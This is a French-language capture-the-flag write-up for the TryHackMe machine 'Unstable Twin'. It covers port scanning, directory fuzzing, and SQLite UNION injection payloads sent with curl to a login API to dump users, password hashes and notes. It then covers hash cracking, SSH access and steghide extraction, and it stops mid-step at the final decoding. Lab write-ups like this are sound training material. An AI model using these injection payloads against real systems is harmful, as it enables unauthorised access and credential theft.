Unstable Twin – Write Up – Fr – TryHackMe

 

Unstable Twin est une machine Linux medium sur TryHackMe. L’accès au compte devra d’abord passé par du fuzzing de répertoire Web, puis de l’injection SQL sur API, puis du cassage de mot de passe. Enfin, une fois l’accès au compte SSH effectué, il faudra finir par la stéganographie pour avoir accès au compte root. 

Task 1 Unstable Twin

  • What is the build number of Vincent’s server?

1.3.4-dev

Pour répondre à cette question, il faut commencer par énumérer la box avec cette commande nmap : nmap -A -sC -sV unstable.thm

J’utilise plutôt un nom de domaine à la place de l’adresse IP. Pour cela il faut modifier le fichier /etc/hosts avec cette commande echo ‘10.10.25.12’ >> /etc/hosts

Comme le montre le résultat du scan, il y deux ports ouvert : 

  • 22 ssh
  • 80 http 

Le port 80 est accessible avec 3 méthodes supportés :

  • OPTIONS
  • GET
  • HEAD

En revanche, l’accès à la page Web via le navigateur nous donne une page blanche. 

Fuzzing de la page web avec gobuster

gobuster dir -u http://unstable.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Trois répertoires sont découverts :

  • /info
  • /get_image
  • /api

L’accès à la page Web est fonctionnel est nous donne une information quant à l’obligation d’avoir un mot de passe pour pouvoir y accèder. 

Curl

Avec curl, on arrive à obtenir des informations concernant le nom est la vesion de l’API. Il faut noter que la commande est à lancer deux fois, car en fait il y a deux API. Information qui nous permet de répondre à la deux questions. 

Commande curl : curl -v http://unstable.thm/info

  • Is this the only build? (Yay/Nay)

Nay

1ière exécution de la commande CURL
2ième exécution de la commande CURL

Injection SQL

  • How many users are there?

5

Afin de répondre à cette question, il faut passer par des injections SQL qui permettra de récupérer les informations de connexion SSH d’un utilisateur. 

Voici les commandes final qui permet d’exploit la vulnérabilité SQL :

Vérification de la vulnérabilité.

curl -X POST ‘http://unstable.thm/api/login’-d « username=test’&password=test »

Verification de la version sql utilisée :

curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,sqlite_version()–&password=admin »

Recherche des tables :

curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,group_concat(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’–&password=admin »

 

curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,(select sql from sqlite_master where tbl_name = ‘users’)–&password=admin »

curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,(select sql from sqlite_master where tbl_name = ‘notes’)–&password=admin »

curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,(select username || ‘:’ || password from users LIMIT 1 OFFSET 0)–&password=admin »

curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,group_concat(notes) from notes–&password=admin »

Cassage du mot de passe.

Sans forcémeent passer par hashcat ou john, il est possible d’utiliser des sites web comme crackstation ou hashes en copiant/collant le hash récupérer.

Escalade de privilège

Une fois connecté sur le compte de mary_ann (ssh mary_ann@unstable.thm), il faut effectuer une énumération local. Toutefois, sans avoir besoin d’utilisation des outils automatique comme linpeas (voir article), on peut voir que dans le dossier /opt (qui est souvent utilisés dans les ctf pour y mettre des informations ou autres) que différents éléments s’y trouve. 

Récupération de tous les élements en local sur Kali.

scp *.* root@10.8.76.250:/root/trytohackme/unstabletwin

Stéganographie

Pour extraire les données contenu dans les différentes photos, on va utiliser steghide

steghide extract -sf Twins-Arnold-Schwarzenegger.jpg

  •  Contenu du fichier : Red – 1DVsdb2uEE0k5HK4GAIZ

steghide extract -sf Twins-Bonnie-Bartlett.jpg

  • Contenu du fichier : You need to find all my children and arrange in a rainbow!

steghide extract -sf Twins-Chloe-Webb.jpg

  • Contenu du fichier : Green – eVYvs6J6HKpZWPG8pfeHoNG1

steghide extract -sf Twins-Danny-DeVito.jpg

  • Contenu du fichier : Orange – PS0Mby2jomUKLjvQ4OSw

steghide extract -sf Twins-Kelly-Preston.jpg

  • Contenu du fichier : Yellow – jKLNAAeCdl2J8BCRuXVX

D’après ce que dit mary_ann il faut mettre les couelurs de l’arc-en-ciel dans l’ordre. C’est très tordu comme réponse, car il faut voir que ce sont les couelurs de l’arc-en-ciel et que souvent les arcs-en-ciel sont coloriés plus ou moins de la même manière. En faisant cette recherche dans google, les premières images d’arc-en-ciel donne cet ordre : rouge orange jaune green.

Ce qui donne : 

rouge orange jaune vert

1DVsdb2uEE0k5HK4GAIZPS0Mby2jomUKLjvQ4OSwjKLNAAeCdl2J8BCRuXVXeVYvs6J6HKpZWPG8pfeHoNG1

Autre possibilité pour les mettre dans l’ordre, il faut essayer les 256 possibilités… .

Cette chaine de caractère est code en base62, on peut utiliser  le site cyberchef  de cette manière :